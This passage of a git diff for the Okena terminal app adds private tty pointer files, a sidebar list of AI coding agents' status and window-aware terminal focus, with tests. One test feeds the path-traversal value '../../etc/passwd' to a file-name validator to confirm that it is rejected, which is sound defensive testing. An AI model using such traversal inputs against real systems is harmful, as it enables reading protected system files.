+    // device or the new one, never a half-written path.
+    let temp = dir.join(format!("{terminal_id}.tmp"));
+    if let Err(error) = write_private(&temp, tty_path) {
+        log::warn!("failed to write tty pointer {temp:?}: {error}");
+        let _ = std::fs::remove_file(&temp);
+        return None;
+    }
+    if let Err(error) = std::fs::rename(&temp, &path) {
+        log::warn!("failed to publish tty pointer {path:?}: {error}");
+        let _ = std::fs::remove_file(&temp);
+        return None;
+    }
+    Some(path)
+}
+
+/// Drop the pointer for a pane whose session is being killed.
+pub fn revoke(terminal_id: &str) {
+    revoke_in(&dir(), terminal_id);
+}
+
+fn revoke_in(dir: &Path, terminal_id: &str) {
+    if let Some(path) = path_in(dir, terminal_id) {
+        let _ = std::fs::remove_file(path);
+    }
+}
+
+/// Remove pointers left behind by a previous run.
+///
+/// Only removes a pointer whose device is **gone**, so this is safe to run from
+/// any `PtyManager` — including the throwaway ones tests build while a real
+/// Okena is running against the same runtime directory. A pointer whose pty
+/// number has since been recycled survives, and is covered by the same `tid=`
+/// guard that covers a stale `$OKENA_TTY`.
+pub fn sweep_dead() {
+    sweep_dead_in(&dir());
+}
+
+fn sweep_dead_in(dir: &Path) {
+    let Ok(entries) = std::fs::read_dir(dir) else {
+        return; // no pointers yet — nothing to sweep
+    };
+    let mut removed = 0usize;
+    for entry in entries.flatten() {
+        let path = entry.path();
+        let device = std::fs::read_to_string(&path)
+            .ok()
+            .map(|content| content.trim().to_string());
+        // A leftover `.tmp` (crash mid-publish) reads as an empty/absent device
+        // and is swept with the rest.
+        let dead = device.is_none_or(|device| device.is_empty() || !Path::new(&device).exists());
+        if dead && std::fs::remove_file(&path).is_ok() {
+            removed += 1;
+        }
+    }
+    if removed > 0 {
+        log::info!("Cleaned up {removed} stale tty pointer(s) from {dir:?}");
+    }
+}
+
+/// Create the pointer directory with owner-only access — it names devices other
+/// processes can write terminal output into.
+fn create_dir_private(dir: &Path) -> std::io::Result<()> {
+    use std::os::unix::fs::DirBuilderExt as _;
+    std::fs::DirBuilder::new()
+        .recursive(true)
+        .mode(0o700)
+        .create(dir)
+}
+
+fn write_private(path: &Path, contents: &str) -> std::io::Result<()> {
+    use std::io::Write as _;
+    use std::os::unix::fs::OpenOptionsExt as _;
+    let mut file = std::fs::OpenOptions::new()
+        .write(true)
+        .create(true)
+        .truncate(true)
+        .mode(0o600)
+        .open(path)?;
+    writeln!(file, "{contents}")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn temp_dir(name: &str) -> PathBuf {
+        let dir =
+            std::env::temp_dir().join(format!("okena-tty-pointer-{name}-{}", std::process::id()));
+        let _ = std::fs::remove_dir_all(&dir);
+        dir
+    }
+
+    #[test]
+    fn rejects_ids_that_are_not_safe_file_names() {
+        let dir = PathBuf::from("/run/user/1000/okena/ttys");
+        assert!(path_in(&dir, "").is_none());
+        assert!(path_in(&dir, ".").is_none());
+        assert!(path_in(&dir, "..").is_none());
+        assert!(path_in(&dir, "../../etc/passwd").is_none());
+        assert!(path_in(&dir, "a/b").is_none());
+        assert!(path_in(&dir, "a\\b").is_none());
+        assert!(path_in(&dir, &"x".repeat(MAX_ID_LEN + 1)).is_none());
+        // A dotted id could name another pane's in-flight `<id>.tmp`.
+        assert!(path_in(&dir, "term.tmp").is_none());
+        assert_eq!(
+            path_in(&dir, "ddcf395e-7f78-4536-af47-98d56ba36db9"),
+            Some(dir.join("ddcf395e-7f78-4536-af47-98d56ba36db9"))
+        );
+    }
+
+    #[test]
+    fn publish_then_revoke_round_trips_the_device() {
+        let dir = temp_dir("round-trip");
+        let published = publish_in(&dir, "term-1", "/dev/pts/9").expect("publish");
+        assert_eq!(published, dir.join("term-1"));
+        assert_eq!(
+            std::fs::read_to_string(&published).expect("read").trim(),
+            "/dev/pts/9"
+        );
+
+        // A respawn overwrites the device in place — the path stays put, which
+        // is what makes it safe to capture in a pane's environment once.
+        let republished = publish_in(&dir, "term-1", "/dev/pts/3").expect("republish");
+        assert_eq!(republished, published);
+        assert_eq!(
+            std::fs::read_to_string(&published).expect("read").trim(),
+            "/dev/pts/3"
+        );
+        assert!(
+            !dir.join("term-1.tmp").exists(),
+            "temp file must not linger"
+        );
+
+        revoke_in(&dir, "term-1");
+        assert!(!published.exists());
+        let _ = std::fs::remove_dir_all(&dir);
+    }
+
+    #[test]
+    fn sweep_removes_only_pointers_whose_device_is_gone() {
+        let dir = temp_dir("sweep");
+        publish_in(&dir, "live", "/dev/null").expect("publish live");
+        publish_in(&dir, "dead", "/dev/pts/999999").expect("publish dead");
+        publish_in(&dir, "empty", "").expect("publish empty");
+
+        sweep_dead_in(&dir);
+
+        assert!(dir.join("live").exists(), "a live device must be kept");
+        assert!(!dir.join("dead").exists());
+        assert!(!dir.join("empty").exists());
+        let _ = std::fs::remove_dir_all(&dir);
+    }
+
+    #[test]
+    fn sweep_is_a_no_op_when_the_directory_is_absent() {
+        sweep_dead_in(&temp_dir("absent"));
+    }
+}
diff --git a/crates/okena-transport/src/client/state.rs b/crates/okena-transport/src/client/state.rs
index 3438db04e..3df64dd3d 100644
--- a/crates/okena-transport/src/client/state.rs
+++ b/crates/okena-transport/src/client/state.rs
@@ -202,6 +202,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names: Default::default(),
+            terminal_agent_status: Default::default(),
             git_status: None,
             folder_color: Default::default(),
             services: vec![],
@@ -368,6 +369,7 @@ mod tests {
                 ],
             }),
             terminal_names: Default::default(),
+            terminal_agent_status: Default::default(),
             git_status: None,
             folder_color: FolderColor::default(),
             services: Vec::new(),
diff --git a/crates/okena-views-sidebar/src/agents_list.rs b/crates/okena-views-sidebar/src/agents_list.rs
new file mode 100644
index 000000000..decbd4737
--- /dev/null
+++ b/crates/okena-views-sidebar/src/agents_list.rs
@@ -0,0 +1,270 @@
+//! The sidebar "AGENTS" section — a flat, cross-project list of panes running
+//! an AI coding agent that reports its status via `OSC 9001`.
+//!
+//! This is the multi-agent "mission control": every active agent at a glance,
+//! sorted by attention (blocked → done → working → idle), regardless of which
+//! project it lives in. Clicking a row jumps straight to that pane. The section
+//! hides itself when no agent is active. Per-pane indicators still live on the
+//! tab itself (see `okena-views-terminal`).
+
+use gpui::*;
+use gpui_component::tooltip::Tooltip;
+use okena_core::agent_status::AgentStatus;
+use okena_ui::theme::theme;
+use okena_ui::tokens::{ui_text_md, ui_text_ms, ui_text_sm};
+
+use crate::sidebar::Sidebar;
+
+/// One running agent, projected for rendering (owned so we don't hold the
+/// workspace / terminal-registry locks while building elements).
+struct SidebarAgentInfo {
+    terminal_id: String,
+    project_id: String,
+    display_name: String,
+    project_name: String,
+    status: AgentStatus,
+}
+
+/// Order agent rows by attention — blocked, then done, then working, then idle
+/// — breaking ties on display name.
+///
+/// A free function rather than an inline `sort_by`, because this ordering is
+/// the contract `docs/agent-status.md` states, and `collect_agents` around it
+/// needs a GPUI view plus the terminal registry to call. Inverting the
+/// comparator would sink blocked agents to the bottom with nothing to notice.
+fn sort_agents_by_attention(agents: &mut [SidebarAgentInfo]) {
+    agents.sort_by(|a, b| {
+        b.status
+            .lifecycle
+            .priority()
+            .cmp(&a.status.lifecycle.priority())
+            .then_with(|| a.display_name.cmp(&b.display_name))
+    });
+}
+
+impl Sidebar {
+    /// Render the AGENTS section (header + one row per active agent), or an
+    /// empty element when no agent is reporting a status.
+    pub fn render_agents_section(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        let agents = self.collect_agents(cx);
+        if agents.is_empty() {
+            return div().into_any_element();
+        }
+
+        let mut children: Vec<AnyElement> = Vec::new();
+        children.push(
+            self.render_agents_header(agents.len(), cx)
+                .into_any_element(),
+        );
+        for agent in &agents {
+            children.push(self.render_agent_row(agent, cx).into_any_element());
+        }
+        div().children(children).into_any_element()
+    }
+
+    /// Collect every non-hook terminal across all projects that currently has an
+    /// agent status, sorted by lifecycle priority (blocked first) then name.
+    fn collect_agents(&self, cx: &mut Context<Self>) -> Vec<SidebarAgentInfo> {
+        let workspace = self.workspace.read(cx);
+        let terminals = self.terminals.lock();
+        let mut agents: Vec<SidebarAgentInfo> = Vec::new();
+        for project in workspace.projects() {
+            let Some(layout) = project.layout.as_ref() else {
+                continue;
+            };
+            for tid in layout.collect_terminal_ids() {
+                // Hook terminals have their own panel.
+                if project.hook_terminals.contains_key(&tid) {
+                    continue;
+                }
+                let Some(term) = terminals.get(tid.as_str()) else {
+                    continue;
+                };
+                let Some(status) = term.agent_status() else {
+                    continue;
+                };
+                let display_name = project.terminal_display_name(&tid, term.title());
+                agents.push(SidebarAgentInfo {
+                    terminal_id: tid,
+                    project_id: project.id.clone(),
+                    display_name,
+                    project_name: project.name.clone(),
+                    status,
+                });
+            }
+        }
+        sort_agents_by_attention(&mut agents);
+        agents
+    }
+
+    fn render_agents_header(&self, count: usize, cx: &mut Context<Self>) -> impl IntoElement {
+        let t = theme(cx);
+        div()
+            .h(px(28.0))
+            .px(px(12.0))
+            .mt(px(8.0))
+            .flex()
+            .items_center()
+            .gap(px(6.0))
+            .child(
+                div()
+                    .text_size(ui_text_ms(cx))
+                    .font_weight(FontWeight::SEMIBOLD)
+                    .text_color(rgb(t.text_secondary))
+                    .child("AGENTS"),
+            )
+            .child(
+                div()
+                    .text_size(ui_text_sm(cx))
+                    .text_color(rgb(t.text_muted))
+                    .child(count.to_string()),
+            )
+    }
+
+    fn render_agent_row(
+        &self,
+        agent: &SidebarAgentInfo,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let t = theme(cx);
+        let dot_color = rgb(agent.status.lifecycle.theme_color(&t));
+        let project_id = agent.project_id.clone();
+        let terminal_id = agent.terminal_id.clone();
+        // Agent-supplied text: flattened and clipped before it reaches either
+        // line, since the tooltip has no ellipsis to save it.
+        let custom = agent
+            .status
+            .custom
+            .as_deref()
+            .map(okena_core::agent_status::display_snippet)
+            .filter(|c| !c.is_empty());
+
+        // Two-line layout: the terminal title (usually the agent's task) on top,
+        // the project — plus any free-form status the agent reports — muted
+        // underneath, so a long title can no longer crowd out the project the
+        // pane belongs to. Both lines ellipsize independently.
+        let title = agent.display_name.clone();
+        // Hover reveals whatever the lines truncate.
+        let tooltip = match &custom {
+            Some(c) => format!("{title} · {c}"),
+            None => title.clone(),
+        };
+        // Second line: "project" or "project · custom status".
+        let subtitle = match &custom {
+            Some(c) => format!("{} · {c}", agent.project_name),
+            None => agent.project_name.clone(),
+        };
+
+        div()
+            .id(ElementId::Name(
+                format!("agent-row-{}", agent.terminal_id).into(),
+            ))
+            .px(px(12.0))
+            .py(px(5.0))
+            .flex()
+            .items_start()
+            .gap(px(6.0))
+            .cursor_pointer()
+            .hover(|s| s.bg(rgb(t.bg_hover)))
+            .on_click(cx.listener(move |this, _, _window, cx| {
+                this.cursor_index = None;
+                let workspace = this.workspace.clone();
+                let window_id = this.window_id;
+                this.focus_manager.update(cx, |fm, cx| {
+                    workspace.update(cx, |ws, cx| {
+                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
+                    });
+                    cx.notify();
+                });
+            }))
+            // Lifecycle status dot, nudged down to sit on the title line.
+            .child(
+                div()
+                    .mt(px(4.0))
+                    .w(px(8.0))
+                    .h(px(8.0))
+                    .rounded_full()
+                    .bg(dot_color)
+                    .flex_shrink_0(),
+            )
+            // Text column: title over project, each ellipsized.
+            .child(
+                div()
+                    .flex_1()
+                    .min_w_0()
+                    .flex()
+                    .flex_col()
+                    .gap(px(1.0))
+                    // Line 1 — terminal title / agent task.
+                    .child(
+                        div()
+                            .min_w_0()
+                            .overflow_hidden()
+                            .whitespace_nowrap()
+                            .text_ellipsis()
+                            .text_size(ui_text_md(cx))
+                            .text_color(rgb(t.text_primary))
+                            .child(title),
+                    )
+                    // Line 2 — project (+ optional free-form status).
+                    .child(
+                        div()
+                            .min_w_0()
+                            .overflow_hidden()
+                            .whitespace_nowrap()
+                            .text_ellipsis()
+                            .text_size(ui_text_sm(cx))
+                            .text_color(rgb(t.text_muted))
+                            .child(subtitle),
+                    ),
+            )
+            .tooltip(move |window, cx| Tooltip::new(tooltip.clone()).build(window, cx))
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    // Specific imports, not `use super::*` — this file has `use gpui::*`, whose
+    // `test` proc macro shadows std's `#[test]` (see okena-app/src/CLAUDE.md).
+    use super::{SidebarAgentInfo, sort_agents_by_attention};
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+
+    fn agent(name: &str, lifecycle: AgentLifecycle) -> SidebarAgentInfo {
+        SidebarAgentInfo {
+            terminal_id: format!("t-{name}"),
+            project_id: "p1".to_string(),
+            display_name: name.to_string(),
+            project_name: "proj".to_string(),
+            status: AgentStatus::new(lifecycle),
+        }
+    }
+
+    #[test]
+    fn agents_sort_by_attention_then_name() {
+        // The documented contract: blocked → done → working → idle. The section
+        // exists to surface what needs the user *now*, so an inverted comparator
+        // would be the exact opposite of useful.
+        let mut agents = vec![
+            agent("zeta", AgentLifecycle::Idle),
+            agent("beta", AgentLifecycle::Working),
+            agent("alpha", AgentLifecycle::Done),
+            agent("delta", AgentLifecycle::Blocked),
+            agent("charlie", AgentLifecycle::Blocked),
+        ];
+        sort_agents_by_attention(&mut agents);
+
+        let order: Vec<&str> = agents.iter().map(|a| a.display_name.as_str()).collect();
+        assert_eq!(order, vec!["charlie", "delta", "alpha", "beta", "zeta"]);
+    }
+
+    #[test]
+    fn agents_sort_is_stable_for_an_empty_or_single_list() {
+        let mut empty: Vec<SidebarAgentInfo> = Vec::new();
+        sort_agents_by_attention(&mut empty);
+        assert!(empty.is_empty());
+
+        let mut one = vec![agent("solo", AgentLifecycle::Working)];
+        sort_agents_by_attention(&mut one);
+        assert_eq!(one[0].display_name, "solo");
+    }
+}
diff --git a/crates/okena-views-sidebar/src/lib.rs b/crates/okena-views-sidebar/src/lib.rs
index d1f383f01..7390230bb 100644
--- a/crates/okena-views-sidebar/src/lib.rs
+++ b/crates/okena-views-sidebar/src/lib.rs
@@ -1,6 +1,7 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
 pub mod activity_order;
+pub mod agents_list;
 pub mod color_picker;
 pub mod context_menu;
 pub mod drag;
diff --git a/crates/okena-views-sidebar/src/project_list.rs b/crates/okena-views-sidebar/src/project_list.rs
index 36c9ecda2..bcf67fb2e 100644
--- a/crates/okena-views-sidebar/src/project_list.rs
+++ b/crates/okena-views-sidebar/src/project_list.rs
@@ -607,9 +607,10 @@ impl Sidebar {
                 move |this, _, _window, cx| {
                     this.cursor_index = None;
                     let workspace = this.workspace.clone();
+                    let window_id = this.window_id;
                     this.focus_manager.update(cx, |fm, cx| {
                         workspace.update(cx, |ws, cx| {
-                            ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                            ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                         });
                         cx.notify();
                     });
@@ -687,11 +688,12 @@ impl Sidebar {
                             } else {
                                 this.cursor_index = None;
                                 let workspace = this.workspace.clone();
+                                let window_id = this.window_id;
                                 let pid = project_id.clone();
                                 let tid = terminal_id.clone();
                                 this.focus_manager.update(cx, |fm, cx| {
                                     workspace.update(cx, |ws, cx| {
-                                        ws.focus_terminal_by_id(fm, &pid, &tid, cx);
+                                        ws.focus_terminal_by_id(fm, window_id, &pid, &tid, cx);
                                     });
                                     cx.notify();
                                 });
diff --git a/crates/okena-views-sidebar/src/sidebar/cursor.rs b/crates/okena-views-sidebar/src/sidebar/cursor.rs
index db4beb221..f0087f16b 100644
--- a/crates/okena-views-sidebar/src/sidebar/cursor.rs
+++ b/crates/okena-views-sidebar/src/sidebar/cursor.rs
@@ -449,9 +449,10 @@ impl Sidebar {
                 terminal_id,
             } => {
                 let workspace = self.workspace.clone();
+                let window_id = self.window_id;
                 self.focus_manager.update(cx, |fm, cx| {
                     workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                        ws.focus_terminal_by_id(fm, window_id, &project_id, &terminal_id, cx);
                     });
                     cx.notify();
                 });
@@ -522,12 +523,24 @@ impl Sidebar {
                 project_id,
                 terminal_id,
             } => {
-                let workspace = self.workspace.clone();
-                self.focus_manager.update(cx, |fm, cx| {
-                    workspace.update(cx, |ws, cx| {
-                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
-                    });
-                    cx.notify();
+                // Mirror the mouse path: hook terminals live in
+                // `ProjectData::hook_terminals`, outside the layout tree, so
+                // `focus_terminal_by_id` — whose whole body is guarded by
+                // `find_terminal_path` — could never match one and Enter here
+                // did nothing at all. The overlay is what a click opens.
+                self.request_broker.update(cx, |broker, cx| {
+                    broker.push_overlay_request(
+                        okena_workspace::requests::OverlayRequest::Project(
+                            okena_workspace::requests::ProjectOverlay {
+                                project_id: project_id.clone(),
+                                kind:
+                                    okena_workspace::requests::ProjectOverlayKind::ShowHookTerminal {
+                                        terminal_id: terminal_id.clone(),
+                                    },
+                            },
+                        ),
+                        cx,
+                    );
                 });
                 self.cursor_index = None;
                 if let Some(ref saved) = self.saved_focus {
@@ -625,9 +638,14 @@ impl Sidebar {
     ///
     /// `cursor_index` counts cursor-navigable rows, but the scroll container
     /// also holds non-navigable children (the leading drop zone, the opt-in
-    /// attention section, and — in the activity view — tier headers between
-    /// rows). `cursor_scroll_indices`, populated by the render path, maps the
-    /// cursor index to the actual scroll-child index for the current view.
+    /// attention section, the AGENTS section, the remote section, and — in the
+    /// activity view — tier headers between rows). `cursor_scroll_indices`,
+    /// populated by the render path, maps the cursor index to the actual
+    /// scroll-child index for the current view.
+    ///
+    /// The AGENTS and remote sections are appended *after* every navigable row,
+    /// which is the invariant that keeps this mapping append-only. Inserting a
+    /// non-navigable section anywhere earlier needs the mapping updated too.
     fn scroll_to_cursor(&self) {
         if let Some(idx) = self.cursor_index
             && let Some(&target) = self.cursor_scroll_indices.get(idx)
diff --git a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
index 216802242..806087968 100644
--- a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
+++ b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
@@ -27,6 +27,8 @@ fn make_project(id: &str) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
diff --git a/crates/okena-views-sidebar/src/sidebar/render.rs b/crates/okena-views-sidebar/src/sidebar/render.rs
index 50fc27306..4a23c90c6 100644
--- a/crates/okena-views-sidebar/src/sidebar/render.rs
+++ b/crates/okena-views-sidebar/src/sidebar/render.rs
@@ -128,6 +128,7 @@ impl Sidebar {
                         }
                     }))
                     .children(flat_elements)
+                    .child(self.render_agents_section(cx))
                     .child(self.render_remote_section(cx)),
             )
     }
diff --git a/crates/okena-views-terminal/src/layout/tabs/mod.rs b/crates/okena-views-terminal/src/layout/tabs/mod.rs
index 2fadd273b..146975e24 100644
--- a/crates/okena-views-terminal/src/layout/tabs/mod.rs
+++ b/crates/okena-views-terminal/src/layout/tabs/mod.rs
@@ -10,6 +10,7 @@ use crate::simple_input::SimpleInput;
 use crate::terminal_view_settings;
 use gpui::prelude::*;
 use gpui::*;
+use gpui_component::tooltip::Tooltip;
 use gpui_component::{h_flex, v_flex};
 use okena_files::theme::theme;
 use okena_terminal::terminal::TerminalProgressState;
@@ -392,16 +393,36 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
                 _ => None,
             };
 
-            let (is_waiting, idle_label, progress) = terminal_id.as_ref().map_or((false, None, None), |tid| {
-                let guard = terminals.lock();
-                guard.get(tid).map_or((false, None, None), |t| {
-                    let progress = t.progress();
-                    if t.is_waiting_for_input() {
-                        (true, Some(t.idle_duration_display()), progress)
-                    } else {
-                        (false, None, progress)
-                    }
-                })
+            let (is_waiting, idle_label, progress, agent_status) =
+                terminal_id.as_ref().map_or((false, None, None, None), |tid| {
+                    let guard = terminals.lock();
+                    guard.get(tid).map_or((false, None, None, None), |t| {
+                        let progress = t.progress();
+                        let agent_status = t.agent_status();
+                        if t.is_waiting_for_input() {
+                            (true, Some(t.idle_duration_display()), progress, agent_status)
+                        } else {
+                            (false, None, progress, agent_status)
+                        }
+                    })
+                });
+
+            // Agent lifecycle (if the pane is running an agent that reports via
+            // OSC 9001) takes precedence over the generic idle/hook coloring,
+            // and its free-form text shows in the tab tooltip.
+            let agent_tooltip: Option<String> = agent_status.as_ref().map(|a| {
+                let life = a.lifecycle.label();
+                // The text is agent-supplied and only byte-bounded, so flatten
+                // and clip it — the tooltip is the one surface with no ellipsis.
+                match a
+                    .custom
+                    .as_deref()
+                    .map(okena_core::agent_status::display_snippet)
+                    .filter(|c| !c.is_empty())
+                {
+                    Some(c) => format!("{life} · {c}"),
+                    None => format!("agent {life}"),
+                }
             });
 
             let is_hook = terminal_id.as_ref().is_some_and(|tid| {
@@ -428,6 +449,9 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
             div()
                 .id(ElementId::Name(format!("tab-{}-{:?}", i, layout_path).into()))
                 .cursor_pointer()
+                .when_some(agent_tooltip, |d, text| {
+                    d.tooltip(move |window, cx| Tooltip::new(text.clone()).build(window, cx))
+                })
                 .relative()
                 .flex_shrink_0()
                 .max_w(px(200.0))
@@ -496,7 +520,17 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
                             }))
                             .into_any_element()
                     } else {
-                        let icon_color = if is_hook { rgb(t.term_yellow) } else if is_waiting { rgb(t.border_idle) } else if is_active { rgb(t.success) } else { rgb(t.text_muted) };
+                        let icon_color = if let Some(a) = agent_status.as_ref() {
+                            rgb(a.lifecycle.theme_color(&t))
+                        } else if is_hook {
+                            rgb(t.term_yellow)
+                        } else if is_waiting {
+                            rgb(t.border_idle)
+                        } else if is_active {
+                            rgb(t.success)
+                        } else {
+                            rgb(t.text_muted)
+                        };
                         h_flex()
                             .gap(px(6.0))
                             .overflow_hidden()
diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
index bc8cf9720..e5116c0ba 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
@@ -336,6 +336,12 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {
             &settings.default_shell,
         );
 
+        // Agent-session resume is NOT done here. The GUI is a thin client whose
+        // workspace mirror never carries `agent_sessions`, and typing a command
+        // into an already-attached PTY would race the shell and whatever is
+        // running in it. The daemon owns it: it resumes exactly once, as a
+        // startup command on the pane's launch plan
+        // (`spawn_uninitialized_terminals`).
         match self
             .backend
             .reconnect_terminal(&terminal_id, &self.project_path, Some(&shell))
diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
index 1f11c208a..0c6cd4f95 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
@@ -101,6 +101,10 @@ impl<D: ActionDispatch + Send + Sync> Render for TerminalPane<D> {
                 .terminal
                 .as_ref()
                 .is_some_and(|t| t.is_waiting_for_input());
+        // Deliberately no agent-lifecycle border: it sticks until the next
+        // status (no activity clears it, unlike the bell), so it read as a
+        // permanent alarm. The tab indicator and the sidebar AGENTS list carry
+        // the lifecycle instead.
         let show_border =
             (is_focused && show_focused_border) || has_bell || has_notification || is_waiting;
         // OSC 9/777 notifications share the bell's attention color.
diff --git a/crates/okena-workspace/src/actions/focus.rs b/crates/okena-workspace/src/actions/focus.rs
index 8f2ab56b8..924975068 100644
--- a/crates/okena-workspace/src/actions/focus.rs
+++ b/crates/okena-workspace/src/actions/focus.rs
@@ -221,12 +221,29 @@ impl Workspace {
         cx.notify();
     }
 
-    /// Focus a terminal by its ID (finds path automatically)
+    /// Focus a terminal by its ID, *revealing* it first (finds path automatically).
     ///
-    /// This is a convenience method that looks up the layout path and calls set_focused_terminal.
+    /// This is the shared "navigate to this terminal" primitive behind agent-row
+    /// / sidebar / notification clicks and remote focus requests. It activates
+    /// the tabs along the path, then calls [`FocusManager::reveal_terminal`] so
+    /// the target becomes visible even when the view is currently zoomed into
+    /// another project or has a different terminal fullscreened — retargeting
+    /// the active view mode onto the target rather than focusing a pane the
+    /// current view is hiding. (Use `set_focused_terminal` for clicks on a pane
+    /// that's already on screen.)
+    /// The one navigation operation behind every "jump to this terminal":
+    /// agent-row and sidebar clicks, cursor navigation, notification jumps,
+    /// remote focus requests.
+    ///
+    /// Window-aware on purpose. Callers used to decide for themselves whether
+    /// the target needed revealing and pre-emptively zoom before calling — which
+    /// both duplicated the rule and broke fullscreen, since changing the focused
+    /// project cancels it *before* the reveal below can retarget it. Deciding
+    /// here keeps the whole jump one step.
     pub fn focus_terminal_by_id(
         &mut self,
         focus_manager: &mut FocusManager,
+        window_id: WindowId,
         project_id: &str,
         terminal_id: &str,
         cx: &mut impl WorkspaceCx,
@@ -235,6 +252,18 @@ impl Workspace {
             && let Some(ref layout) = project.layout
             && let Some(path) = layout.find_terminal_path(terminal_id)
         {
+            // Whether this window renders the target's column at all. A project
+            // in the hidden set or outside the active folder filter does not, so
+            // the reveal has to zoom instead of just moving focus.
+            let project_offscreen = !self
+                .visible_projects(
+                    window_id,
+                    focus_manager.focused_project_id(),
+                    focus_manager.is_focus_individual(),
+                )
+                .iter()
+                .any(|p| p.id == project_id);
+
             // Activate any tabs along the path so the terminal becomes visible
             if let Some(project_mut) = self.project_mut(project_id)
                 && let Some(ref mut layout) = project_mut.layout
@@ -242,8 +271,17 @@ impl Workspace {
                 layout.activate_tabs_along_path(&path);
             }
             self.notify_data(cx);
-            // Focus the terminal without changing which projects are shown
-            self.set_focused_terminal(focus_manager, project_id.to_string(), path, cx);
+            // Reveal: retarget the active zoom/fullscreen onto the target so it
+            // is actually visible, then focus it.
+            focus_manager.reveal_terminal(
+                project_id.to_string(),
+                path,
+                terminal_id.to_string(),
+                project_offscreen,
+            );
+            self.touch_project(project_id);
+            self.bump_activity(project_id, cx);
+            cx.notify();
         }
     }
 }
@@ -404,3 +442,129 @@ mod gpui_tests {
         });
     }
 }
+
+/// Window-aware navigation: `focus_terminal_by_id` is the single entry point for
+/// every "jump to this terminal", so it has to reach panes the calling window
+/// currently renders nowhere.
+#[cfg(all(test, feature = "gpui"))]
+mod jump_gpui_tests {
+    use crate::focus::FocusManager;
+    use crate::settings::HooksConfig;
+    use crate::state::{LayoutNode, ProjectData, WindowId, WindowState, Workspace, WorkspaceData};
+    use gpui::AppContext as _;
+    use okena_core::theme::FolderColor;
+    use okena_terminal::shell_config::ShellType;
+    use std::collections::HashMap;
+
+    fn project(id: &str, terminal_id: &str) -> ProjectData {
+        ProjectData {
+            id: id.to_string(),
+            name: format!("Project {id}"),
+            path: "/tmp/test".to_string(),
+            layout: Some(LayoutNode::Terminal {
+                terminal_id: Some(terminal_id.to_string()),
+                minimized: false,
+                detached: false,
+                shell_type: ShellType::Default,
+                zoom_level: 1.0,
+            }),
+            terminal_names: HashMap::new(),
+            hidden_terminals: HashMap::new(),
+            worktree_info: None,
+            worktree_ids: Vec::new(),
+            folder_color: FolderColor::default(),
+            hooks: HooksConfig::default(),
+            is_remote: false,
+            connection_id: None,
+            service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
+            default_shell: None,
+            hook_terminals: HashMap::new(),
+            pinned: false,
+            last_activity_at: None,
+            is_creating: false,
+            is_closing: false,
+        }
+    }
+
+    fn workspace_data(hidden: &[&str]) -> WorkspaceData {
+        WorkspaceData {
+            version: 1,
+            projects: vec![project("p1", "t1"), project("p2", "t2")],
+            project_order: vec!["p1".to_string(), "p2".to_string()],
+            folders: Vec::new(),
+            service_panel_heights: HashMap::new(),
+            hook_panel_heights: HashMap::new(),
+            main_window: WindowState {
+                hidden_project_ids: hidden.iter().map(|s| s.to_string()).collect(),
+                ..Default::default()
+            },
+            extra_windows: Vec::new(),
+        }
+    }
+
+    #[gpui::test]
+    fn jumping_to_a_hidden_project_zooms_it_into_view(cx: &mut gpui::TestAppContext) {
+        // p2 is in this window's hidden set, so overview renders no column for
+        // it — focusing without revealing would land on an invisible pane.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&["p2"])));
+        let mut fm = FocusManager::new();
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(fm.focused_project_id().map(String::as_str), Some("p2"));
+        workspace.read_with(cx, |ws: &Workspace, _cx| {
+            let visible = ws.visible_projects(WindowId::Main, fm.focused_project_id(), false);
+            assert!(
+                visible.iter().any(|p| p.id == "p2"),
+                "the jump target must end up on screen"
+            );
+        });
+        assert_eq!(
+            fm.focused_terminal_state().map(|s| s.project_id).as_deref(),
+            Some("p2")
+        );
+    }
+
+    #[gpui::test]
+    fn jumping_within_the_overview_does_not_zoom(cx: &mut gpui::TestAppContext) {
+        // p2 is already on screen, so the multi-project overview stays intact.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&[])));
+        let mut fm = FocusManager::new();
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(fm.focused_project_id(), None, "overview must be preserved");
+        assert_eq!(
+            fm.focused_terminal_state().map(|s| s.project_id).as_deref(),
+            Some("p2")
+        );
+    }
+
+    #[gpui::test]
